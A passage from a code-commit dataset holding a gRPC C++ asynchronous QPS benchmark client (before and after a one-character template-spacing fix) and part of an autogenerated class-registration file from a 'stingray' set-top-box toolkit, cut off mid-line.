RPCs are sent round-robin on the available channels by the\n\/\/ various threads. Interesting cases are 1 global channel or\n\/\/ 1 per-thread channel, but we can support any number.\n\/\/ The channels are assigned round-robin on an RPC by RPC basis\n\/\/ rather than just at initialization time in order to also measure the\n\/\/ impact of cache thrashing caused by channel changes. This is an issue\n\/\/ if you are not in one of the above \"interesting cases\"\nDEFINE_int32(client_channels, 4, \"Number of client channels.\");\n\nDEFINE_int32(num_rpcs, 1000, \"Number of RPCs per thread.\");\nDEFINE_int32(payload_size, 1, \"Payload size in bytes\");\n\n\/\/ Alternatively, specify parameters for test as a workload so that multiple\n\/\/ tests are initiated back-to-back. This is convenient for keeping a borg\n\/\/ allocation consistent. This is a space-separated list of\n\/\/ [threads channels num_rpcs payload_size ]*\nDEFINE_string(workload, \"\", \"Workload parameters\");\n\nusing grpc::ChannelInterface;\nusing grpc::CreateTestChannel;\nusing grpc::testing::ServerStats;\nusing grpc::testing::SimpleRequest;\nusing grpc::testing::SimpleResponse;\nusing grpc::testing::StatsRequest;\nusing grpc::testing::TestService;\n\n\/\/ In some distros, gflags is in the namespace google, and in some others,\n\/\/ in gflags. This hack is enabling us to find both.\nnamespace google {}\nnamespace gflags {}\nusing namespace google;\nusing namespace gflags;\n\nstatic double now() {\n gpr_timespec tv = gpr_now();\n return 1e9 * tv.tv_sec + tv.tv_nsec;\n}\n\nclass ClientRpcContext {\n public:\n ClientRpcContext() {}\n virtual ~ClientRpcContext() {}\n virtual bool operator()() = 0; \/\/ do next state, return false if steps done\n static void *tag(ClientRpcContext *c) { return reinterpret_cast<void *>(c); }\n static ClientRpcContext *detag(void *t) {\n return reinterpret_cast<ClientRpcContext *>(t);\n }\n virtual void report_stats(gpr_histogram *hist) = 0;\n};\ntemplate <class RequestType, class ResponseType>\nclass ClientRpcContextUnaryImpl : public ClientRpcContext {\n public:\n ClientRpcContextUnaryImpl(\n const RequestType &req,\n std::function<\n std::unique_ptr<grpc::ClientAsyncResponseReader<ResponseType>>(\n grpc::ClientContext *, const RequestType &, void *)> start_req,\n std::function<void(grpc::Status, ResponseType *)> on_done)\n : context_(),\n req_(req),\n response_(),\n next_state_(&ClientRpcContextUnaryImpl::ReqSent),\n callback_(on_done),\n start_(now()),\n response_reader_(\n start_req(&context_, req_, ClientRpcContext::tag(this))) {}\n ~ClientRpcContextUnaryImpl() GRPC_OVERRIDE {}\n bool operator()() GRPC_OVERRIDE { return (this->*next_state_)(); }\n void report_stats(gpr_histogram *hist) GRPC_OVERRIDE {\n gpr_histogram_add(hist, now() - start_);\n }\n\n private:\n bool ReqSent() {\n next_state_ = &ClientRpcContextUnaryImpl::RespDone;\n response_reader_->Finish(&response_, &status_, ClientRpcContext::tag(this));\n return true;\n }\n bool RespDone() {\n next_state_ = &ClientRpcContextUnaryImpl::DoCallBack;\n return false;\n }\n bool DoCallBack() {\n callback_(status_, &response_);\n return false;\n }\n grpc::ClientContext context_;\n RequestType req_;\n ResponseType response_;\n bool (ClientRpcContextUnaryImpl::*next_state_)();\n std::function<void(grpc::Status, ResponseType *)> callback_;\n grpc::Status status_;\n double start_;\n std::unique_ptr<grpc::ClientAsyncResponseReader<ResponseType>>\n response_reader_;\n};\n\nstatic void RunTest(const int client_threads, const int client_channels,\n const int num_rpcs, const int payload_size) {\n gpr_log(GPR_INFO,\n \"QPS test with parameters\\n\"\n \"enable_ssl = %d\\n\"\n \"client_channels = %d\\n\"\n \"client_threads = %d\\n\"\n \"num_rpcs = %d\\n\"\n \"payload_size = %d\\n\"\n \"server_host:server_port = %s:%d\\n\\n\",\n FLAGS_enable_ssl, client_channels, client_threads, num_rpcs,\n payload_size, FLAGS_server_host.c_str(), FLAGS_server_port);\n\n std::ostringstream oss;\n oss << FLAGS_server_host << \":\" << FLAGS_server_port;\n\n class ClientChannelInfo {\n public:\n explicit ClientChannelInfo(const grpc::string &server)\n : channel_(CreateTestChannel(server, FLAGS_enable_ssl)),\n stub_(TestService::NewStub(channel_)) {}\n ChannelInterface *get_channel() { return channel_.get(); }\n TestService::Stub *get_stub() { return stub_.get(); }\n\n private:\n std::shared_ptr<ChannelInterface> channel_;\n std::unique_ptr<TestService::Stub> stub_;\n };\n\n std::vector<ClientChannelInfo> channels;\n for (int i = 0; i < client_channels; i++) {\n channels.push_back(ClientChannelInfo(oss.str()));\n }\n\n std::vector<std::thread> threads; \/\/ Will add threads when ready to execute\n std::vector<::gpr_histogram *> thread_stats(client_threads);\n\n TestService::Stub *stub_stats = channels[0].get_stub();\n grpc::ClientContext context_stats_begin;\n StatsRequest stats_request;\n ServerStats server_stats_begin;\n stats_request.set_test_num(0);\n grpc::Status status_beg = stub_stats->CollectServerStats(\n &context_stats_begin, stats_request, &server_stats_begin);\n\n grpc_profiler_start(\"qps_client_async.prof\");\n\n auto CheckDone = [=](grpc::Status s, SimpleResponse *response) {\n GPR_ASSERT(s.IsOk() && (response->payload().type() ==\n grpc::testing::PayloadType::COMPRESSABLE) &&\n (response->payload().body().length() ==\n static_cast<size_t>(payload_size)));\n };\n\n for (int i = 0; i < client_threads; i++) {\n gpr_histogram *hist = gpr_histogram_create(0.01, 60e9);\n GPR_ASSERT(hist != NULL);\n thread_stats[i] = hist;\n\n threads.push_back(std::thread(\n [hist, client_threads, client_channels, num_rpcs, payload_size,\n &channels, &CheckDone](int channel_num) {\n using namespace std::placeholders;\n SimpleRequest request;\n request.set_response_type(grpc::testing::PayloadType::COMPRESSABLE);\n request.set_response_size(payload_size);\n\n grpc::CompletionQueue cli_cq;\n\n int rpcs_sent = 0;\n while (rpcs_sent < num_rpcs) {\n rpcs_sent++;\n TestService::Stub *stub = channels[channel_num].get_stub();\n grpc::ClientContext context;\n auto start_req = std::bind(&TestService::Stub::AsyncUnaryCall, stub,\n _1, _2, &cli_cq, _3);\n new ClientRpcContextUnaryImpl<SimpleRequest, SimpleResponse>(\n request, start_req, CheckDone);\n void *got_tag;\n bool ok;\n\n \/\/ Need to call 2 next for every 1 RPC (1 for req done, 1 for resp\n \/\/ done)\n cli_cq.Next(&got_tag, &ok);\n if (!ok) break;\n ClientRpcContext *ctx = ClientRpcContext::detag(got_tag);\n if ((*ctx)() == false) {\n \/\/ call the callback and then delete it\n (*ctx)();\n delete ctx;\n }\n cli_cq.Next(&got_tag, &ok);\n if (!ok) break;\n ctx = ClientRpcContext::detag(got_tag);\n if ((*ctx)() == false) {\n \/\/ call the callback and then delete it\n ctx->report_stats(hist);\n (*ctx)();\n delete ctx;\n }\n \/\/ Now do runtime round-robin assignment of the next\n \/\/ channel number\n channel_num += client_threads;\n channel_num %= client_channels;\n }\n },\n i % client_channels));\n }\n\n gpr_histogram *hist = gpr_histogram_create(0.01, 60e9);\n GPR_ASSERT(hist != NULL);\n for (auto &t : threads) {\n t.join();\n }\n\n grpc_profiler_stop();\n\n for (int i = 0; i < client_threads; i++) {\n gpr_histogram *h = thread_stats[i];\n gpr_log(GPR_INFO, \"latency at thread %d (50\/90\/95\/99\/99.9): %f\/%f\/%f\/%f\/%f\",\n i, gpr_histogram_percentile(h, 50), gpr_histogram_percentile(h, 90),\n gpr_histogram_percentile(h, 95), gpr_histogram_percentile(h, 99),\n gpr_histogram_percentile(h, 99.9));\n gpr_histogram_merge(hist, h);\n gpr_histogram_destroy(h);\n }\n\n gpr_log(\n GPR_INFO,\n \"latency across %d threads with %d channels and %d payload \"\n \"(50\/90\/95\/99\/99.9): %f \/ %f \/ %f \/ %f \/ %f\",\n client_threads, client_channels, payload_size,\n gpr_histogram_percentile(hist, 50), gpr_histogram_percentile(hist, 90),\n gpr_histogram_percentile(hist, 95), gpr_histogram_percentile(hist, 99),\n gpr_histogram_percentile(hist, 99.9));\n gpr_histogram_destroy(hist);\n\n grpc::ClientContext context_stats_end;\n ServerStats server_stats_end;\n grpc::Status status_end = stub_stats->CollectServerStats(\n &context_stats_end, stats_request, &server_stats_end);\n\n double elapsed = server_stats_end.time_now() - server_stats_begin.time_now();\n int total_rpcs = client_threads * num_rpcs;\n double utime = server_stats_end.time_user() - server_stats_begin.time_user();\n double stime =\n server_stats_end.time_system() - server_stats_begin.time_system();\n gpr_log(GPR_INFO,\n \"Elapsed time: %.3f\\n\"\n \"RPC Count: %d\\n\"\n \"QPS: %.3f\\n\"\n \"System time: %.3f\\n\"\n \"User time: %.3f\\n\"\n \"Resource usage: %.1f%%\\n\",\n elapsed, total_rpcs, total_rpcs \/ elapsed, stime, utime,\n (stime + utime) \/ elapsed * 100.0);\n}\n\nint main(int argc, char **argv) {\n grpc_init();\n ParseCommandLineFlags(&argc, &argv, true);\n\n GPR_ASSERT(FLAGS_server_port);\n\n if (FLAGS_workload.length() == 0) {\n RunTest(FLAGS_client_threads, FLAGS_client_channels, FLAGS_num_rpcs,\n FLAGS_payload_size);\n } else {\n std::istringstream workload(FLAGS_workload);\n int client_threads, client_channels, num_rpcs, payload_size;\n workload >> client_threads;\n while (!workload.eof()) {\n workload >> client_channels >> num_rpcs >> payload_size;\n RunTest(client_threads, client_channels, num_rpcs, payload_size);\n workload >> client_threads;\n }\n gpr_log(GPR_INFO, \"Done with specified workload.\");\n }\n\n grpc_shutdown();\n return 0;\n}\n<commit_msg><:: -> < ::<commit_after>\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\/\n\n#include <cassert>\n#include <functional>\n#include <memory>\n#include <string>\n#include <thread>\n#include <vector>\n#include <sstream>\n\n#include <grpc\/grpc.h>\n#include <grpc\/support\/histogram.h>\n#include <grpc\/support\/log.h>\n#include <gflags\/gflags.h>\n#include <grpc++\/async_unary_call.h>\n#include <grpc++\/client_context.h>\n#include <grpc++\/status.h>\n#include \"test\/core\/util\/grpc_profiler.h\"\n#include \"test\/cpp\/util\/create_test_channel.h\"\n#include \"test\/cpp\/qps\/qpstest.pb.h\"\n\nDEFINE_bool(enable_ssl, false, \"Whether to use ssl\/tls.\");\nDEFINE_int32(server_port, 0, \"Server port.\");\nDEFINE_string(server_host, \"127.0.0.1\", \"Server host.\");\nDEFINE_int32(client_threads, 4, \"Number of client threads.\");\n\n\/\/ We have a configurable number of channels for sending RPCs.\n\/\/ RPCs are sent round-robin on the available channels by the\n\/\/ various threads. Interesting cases are 1 global channel or\n\/\/ 1 per-thread channel, but we can support any number.\n\/\/ The channels are assigned round-robin on an RPC by RPC basis\n\/\/ rather than just at initialization time in order to also measure the\n\/\/ impact of cache thrashing caused by channel changes. This is an issue\n\/\/ if you are not in one of the above \"interesting cases\"\nDEFINE_int32(client_channels, 4, \"Number of client channels.\");\n\nDEFINE_int32(num_rpcs, 1000, \"Number of RPCs per thread.\");\nDEFINE_int32(payload_size, 1, \"Payload size in bytes\");\n\n\/\/ Alternatively, specify parameters for test as a workload so that multiple\n\/\/ tests are initiated back-to-back. This is convenient for keeping a borg\n\/\/ allocation consistent. This is a space-separated list of\n\/\/ [threads channels num_rpcs payload_size ]*\nDEFINE_string(workload, \"\", \"Workload parameters\");\n\nusing grpc::ChannelInterface;\nusing grpc::CreateTestChannel;\nusing grpc::testing::ServerStats;\nusing grpc::testing::SimpleRequest;\nusing grpc::testing::SimpleResponse;\nusing grpc::testing::StatsRequest;\nusing grpc::testing::TestService;\n\n\/\/ In some distros, gflags is in the namespace google, and in some others,\n\/\/ in gflags. This hack is enabling us to find both.\nnamespace google {}\nnamespace gflags {}\nusing namespace google;\nusing namespace gflags;\n\nstatic double now() {\n gpr_timespec tv = gpr_now();\n return 1e9 * tv.tv_sec + tv.tv_nsec;\n}\n\nclass ClientRpcContext {\n public:\n ClientRpcContext() {}\n virtual ~ClientRpcContext() {}\n virtual bool operator()() = 0; \/\/ do next state, return false if steps done\n static void *tag(ClientRpcContext *c) { return reinterpret_cast<void *>(c); }\n static ClientRpcContext *detag(void *t) {\n return reinterpret_cast<ClientRpcContext *>(t);\n }\n virtual void report_stats(gpr_histogram *hist) = 0;\n};\ntemplate <class RequestType, class ResponseType>\nclass ClientRpcContextUnaryImpl : public ClientRpcContext {\n public:\n ClientRpcContextUnaryImpl(\n const RequestType &req,\n std::function<\n std::unique_ptr<grpc::ClientAsyncResponseReader<ResponseType>>(\n grpc::ClientContext *, const RequestType &, void *)> start_req,\n std::function<void(grpc::Status, ResponseType *)> on_done)\n : context_(),\n req_(req),\n response_(),\n next_state_(&ClientRpcContextUnaryImpl::ReqSent),\n callback_(on_done),\n start_(now()),\n response_reader_(\n start_req(&context_, req_, ClientRpcContext::tag(this))) {}\n ~ClientRpcContextUnaryImpl() GRPC_OVERRIDE {}\n bool operator()() GRPC_OVERRIDE { return (this->*next_state_)(); }\n void report_stats(gpr_histogram *hist) GRPC_OVERRIDE {\n gpr_histogram_add(hist, now() - start_);\n }\n\n private:\n bool ReqSent() {\n next_state_ = &ClientRpcContextUnaryImpl::RespDone;\n response_reader_->Finish(&response_, &status_, ClientRpcContext::tag(this));\n return true;\n }\n bool RespDone() {\n next_state_ = &ClientRpcContextUnaryImpl::DoCallBack;\n return false;\n }\n bool DoCallBack() {\n callback_(status_, &response_);\n return false;\n }\n grpc::ClientContext context_;\n RequestType req_;\n ResponseType response_;\n bool (ClientRpcContextUnaryImpl::*next_state_)();\n std::function<void(grpc::Status, ResponseType *)> callback_;\n grpc::Status status_;\n double start_;\n std::unique_ptr<grpc::ClientAsyncResponseReader<ResponseType>>\n response_reader_;\n};\n\nstatic void RunTest(const int client_threads, const int client_channels,\n const int num_rpcs, const int payload_size) {\n gpr_log(GPR_INFO,\n \"QPS test with parameters\\n\"\n \"enable_ssl = %d\\n\"\n \"client_channels = %d\\n\"\n \"client_threads = %d\\n\"\n \"num_rpcs = %d\\n\"\n \"payload_size = %d\\n\"\n \"server_host:server_port = %s:%d\\n\\n\",\n FLAGS_enable_ssl, client_channels, client_threads, num_rpcs,\n payload_size, FLAGS_server_host.c_str(), FLAGS_server_port);\n\n std::ostringstream oss;\n oss << FLAGS_server_host << \":\" << FLAGS_server_port;\n\n class ClientChannelInfo {\n public:\n explicit ClientChannelInfo(const grpc::string &server)\n : channel_(CreateTestChannel(server, FLAGS_enable_ssl)),\n stub_(TestService::NewStub(channel_)) {}\n ChannelInterface *get_channel() { return channel_.get(); }\n TestService::Stub *get_stub() { return stub_.get(); }\n\n private:\n std::shared_ptr<ChannelInterface> channel_;\n std::unique_ptr<TestService::Stub> stub_;\n };\n\n std::vector<ClientChannelInfo> channels;\n for (int i = 0; i < client_channels; i++) {\n channels.push_back(ClientChannelInfo(oss.str()));\n }\n\n std::vector<std::thread> threads; \/\/ Will add threads when ready to execute\n std::vector< ::gpr_histogram *> thread_stats(client_threads);\n\n TestService::Stub *stub_stats = channels[0].get_stub();\n grpc::ClientContext context_stats_begin;\n StatsRequest stats_request;\n ServerStats server_stats_begin;\n stats_request.set_test_num(0);\n grpc::Status status_beg = stub_stats->CollectServerStats(\n &context_stats_begin, stats_request, &server_stats_begin);\n\n grpc_profiler_start(\"qps_client_async.prof\");\n\n auto CheckDone = [=](grpc::Status s, SimpleResponse *response) {\n GPR_ASSERT(s.IsOk() && (response->payload().type() ==\n grpc::testing::PayloadType::COMPRESSABLE) &&\n (response->payload().body().length() ==\n static_cast<size_t>(payload_size)));\n };\n\n for (int i = 0; i < client_threads; i++) {\n gpr_histogram *hist = gpr_histogram_create(0.01, 60e9);\n GPR_ASSERT(hist != NULL);\n thread_stats[i] = hist;\n\n threads.push_back(std::thread(\n [hist, client_threads, client_channels, num_rpcs, payload_size,\n &channels, &CheckDone](int channel_num) {\n using namespace std::placeholders;\n SimpleRequest request;\n request.set_response_type(grpc::testing::PayloadType::COMPRESSABLE);\n request.set_response_size(payload_size);\n\n grpc::CompletionQueue cli_cq;\n\n int rpcs_sent = 0;\n while (rpcs_sent < num_rpcs) {\n rpcs_sent++;\n TestService::Stub *stub = channels[channel_num].get_stub();\n grpc::ClientContext context;\n auto start_req = std::bind(&TestService::Stub::AsyncUnaryCall, stub,\n _1, _2, &cli_cq, _3);\n new ClientRpcContextUnaryImpl<SimpleRequest, SimpleResponse>(\n request, start_req, CheckDone);\n void *got_tag;\n bool ok;\n\n \/\/ Need to call 2 next for every 1 RPC (1 for req done, 1 for resp\n \/\/ done)\n cli_cq.Next(&got_tag, &ok);\n if (!ok) break;\n ClientRpcContext *ctx = ClientRpcContext::detag(got_tag);\n if ((*ctx)() == false) {\n \/\/ call the callback and then delete it\n (*ctx)();\n delete ctx;\n }\n cli_cq.Next(&got_tag, &ok);\n if (!ok) break;\n ctx = ClientRpcContext::detag(got_tag);\n if ((*ctx)() == false) {\n \/\/ call the callback and then delete it\n ctx->report_stats(hist);\n (*ctx)();\n delete ctx;\n }\n \/\/ Now do runtime round-robin assignment of the next\n \/\/ channel number\n channel_num += client_threads;\n channel_num %= client_channels;\n }\n },\n i % client_channels));\n }\n\n gpr_histogram *hist = gpr_histogram_create(0.01, 60e9);\n GPR_ASSERT(hist != NULL);\n for (auto &t : threads) {\n t.join();\n }\n\n grpc_profiler_stop();\n\n for (int i = 0; i < client_threads; i++) {\n gpr_histogram *h = thread_stats[i];\n gpr_log(GPR_INFO, \"latency at thread %d (50\/90\/95\/99\/99.9): %f\/%f\/%f\/%f\/%f\",\n i, gpr_histogram_percentile(h, 50), gpr_histogram_percentile(h, 90),\n gpr_histogram_percentile(h, 95), gpr_histogram_percentile(h, 99),\n gpr_histogram_percentile(h, 99.9));\n gpr_histogram_merge(hist, h);\n gpr_histogram_destroy(h);\n }\n\n gpr_log(\n GPR_INFO,\n \"latency across %d threads with %d channels and %d payload \"\n \"(50\/90\/95\/99\/99.9): %f \/ %f \/ %f \/ %f \/ %f\",\n client_threads, client_channels, payload_size,\n gpr_histogram_percentile(hist, 50), gpr_histogram_percentile(hist, 90),\n gpr_histogram_percentile(hist, 95), gpr_histogram_percentile(hist, 99),\n gpr_histogram_percentile(hist, 99.9));\n gpr_histogram_destroy(hist);\n\n grpc::ClientContext context_stats_end;\n ServerStats server_stats_end;\n grpc::Status status_end = stub_stats->CollectServerStats(\n &context_stats_end, stats_request, &server_stats_end);\n\n double elapsed = server_stats_end.time_now() - server_stats_begin.time_now();\n int total_rpcs = client_threads * num_rpcs;\n double utime = server_stats_end.time_user() - server_stats_begin.time_user();\n double stime =\n server_stats_end.time_system() - server_stats_begin.time_system();\n gpr_log(GPR_INFO,\n \"Elapsed time: %.3f\\n\"\n \"RPC Count: %d\\n\"\n \"QPS: %.3f\\n\"\n \"System time: %.3f\\n\"\n \"User time: %.3f\\n\"\n \"Resource usage: %.1f%%\\n\",\n elapsed, total_rpcs, total_rpcs \/ elapsed, stime, utime,\n (stime + utime) \/ elapsed * 100.0);\n}\n\nint main(int argc, char **argv) {\n grpc_init();\n ParseCommandLineFlags(&argc, &argv, true);\n\n GPR_ASSERT(FLAGS_server_port);\n\n if (FLAGS_workload.length() == 0) {\n RunTest(FLAGS_client_threads, FLAGS_client_channels, FLAGS_num_rpcs,\n FLAGS_payload_size);\n } else {\n std::istringstream workload(FLAGS_workload);\n int client_threads, client_channels, num_rpcs, payload_size;\n workload >> client_threads;\n while (!workload.eof()) {\n workload >> client_channels >> num_rpcs >> payload_size;\n RunTest(client_threads, client_channels, num_rpcs, payload_size);\n workload >> client_threads;\n }\n gpr_log(GPR_INFO, \"Done with specified workload.\");\n }\n\n grpc_shutdown();\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <stingray\/toolkit\/Factory.h>\n\n#include <stingray\/toolkit\/any.h>\n\n#include <stingray\/app\/Scheduler.h>\n#include <stingray\/app\/application_context\/AppChannel.h>\n#include <stingray\/app\/application_context\/ChannelList.h>\n#include <stingray\/app\/tests\/AutoFilter.h>\n#include <stingray\/app\/zapper\/User.h>\n#include <stingray\/hdmi\/IHDMI.h>\n#include <stingray\/mpeg\/Stream.h>\n#include <stingray\/parentalcontrol\/AgeRating.h>\n#ifdef PLATFORM_EMU\n#\tinclude <stingray\/platform\/emu\/scanner\/Channel.h>\n#endif\n#include <stingray\/records\/FileSystemRecord.h>\n#include <stingray\/scanner\/DVBServiceId.h>\n#include <stingray\/scanner\/DefaultDVBTBandInfo.h>\n#include <stingray\/scanner\/DefaultMpegService.h>\n#include <stingray\/scanner\/DefaultMpegStreamDescriptor.h>\n#include <stingray\/scanner\/DefaultScanParams.h>\n#include <stingray\/scanner\/DefaultScanResult.h>\n#include <stingray\/scanner\/DefaultServiceNetworkInfo.h>\n#include <stingray\/scanner\/LcnList.h>\n#include <stingray\/scanner\/OtherTransportInfoEntry.h>\n#include <stingray\/streams\/RecordStreamMetaInfo.h>\n#include <stingray\/tuners\/dvbs\/Antenna.h>\n#include <stingray\/tuners\/dvbs\/DefaultDVBSTransport.h>\n#include <stingray\/tuners\/dvbs\/Satellite.h>\n#include <stingray\/tuners\/dvbt\/DefaultDVBTTransport.h>\n\n\/* WARNING! This is autogenerated file, DO NOT EDIT! *\/\n\nnamespace stingray { namespace Detail\n{\n\tvoid Factory::RegisterTypes()\n\t{\n#ifdef BUILD_SHARED_LIB\n\t\t\/*nothing*\/\n#else\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::Alarm);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ContinuousScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::DeferredStandby);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::InfiniteScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledRecord);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledViewing);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::AppChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(::stingray::Detail::any::ObjectHolder<stingray::app::AppChannelPtr>);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ChannelList);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ChannelListAutoRemover);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::AutoFilter);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::User);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(HDMIConfig);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mpeg::Stream);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(AgeRating);\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::EmuServiceId);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::RadioChannel);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::StreamDescriptor);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::TVChannel);\n#endif\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(FileSystemRecord);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBServiceId);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultDVBTBandInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegRadioChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegService);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegTVChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegAudioStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegPcrStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegSubtitlesStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegTeletextBasedSubtitlesStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegTeletextStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegVideoStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultScanParams);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultScanResult);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultServiceNetworkInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(GenreChannelList);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LcnList);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(OtherTransportInfoEntry);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(RecordStreamMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Antenna);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultDVBSTransport);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Satellite);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultDVBTTransport);\n#endif\n\t}\n}}\n<commit_msg>Refactored IServiceNetworkInfoEntry passing and storing - removed redundant IServiceNetworkInfo. Fixed dependent code.<commit_after>#include <stingray\/toolkit\/Factory.h>\n\n#include <stingray\/toolkit\/any.h>\n\n#include <stingray\/app\/Scheduler.h>\n#include <stingray\/app\/application_context\/AppChannel.h>\n#include <stingray\/app\/application_context\/ChannelList.h>\n#include <stingray\/app\/tests\/AutoFilter.h>\n#include <stingray\/app\/zapper\/User.h>\n#include <stingray\/hdmi\/IHDMI.h>\n#include <stingray\/mpeg\/Stream.h>\n#include <stingray\/parentalcontrol\/AgeRating.h>\n#ifdef PLATFORM_EMU\n#\tinclude <stingray\/platform\/emu\/scanner\/Channel.h>\n#endif\n#include <stingray\/records\/FileSystemRecord.h>\n#include <stingray\/scanner\/DVBServiceId.h>\n#include <stingray\/scanner\/DefaultDVBTBandInfo.h>\n#include <stingray\/scanner\/DefaultMpegService.h>\n#include <stingray\/scanner\/DefaultMpegStreamDescriptor.h>\n#include <stingray\/scanner\/DefaultScanParams.h>\n#include <stingray\/scanner\/DefaultScanResult.h>\n#include <stingray\/scanner\/LcnList.h>\n#include <stingray\/scanner\/OtherTransportInfoEntry.h>\n#include <stingray\/streams\/RecordStreamMetaInfo.h>\n#include <stingray\/tuners\/dvbs\/Antenna.h>\n#include <stingray\/tuners\/dvbs\/DefaultDVBSTransport.h>\n#include <stingray\/tuners\/dvbs\/Satellite.h>\n#include <stingray\/tuners\/dvbt\/DefaultDVBTTransport.h>\n\n\/* WARNING! This is autogenerated file, DO NOT EDIT! *\/\n\nnamespace stingray { namespace Detail\n{\n\tvoid Factory::RegisterTypes()\n\t{\n#ifdef BUILD_SHARED_LIB\n\t\t\/*nothing*\/\n#else\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::Alarm);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ContinuousScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::DeferredStandby);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::InfiniteScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledRecord);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledViewing);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::AppChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(::stingray::Detail::any::ObjectHolder<stingray::app::AppChannelPtr>);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ChannelList);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ChannelListAutoRemover);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::AutoFilter);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::User);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(HDMIConfig);\n\t\tTOOLKIT_R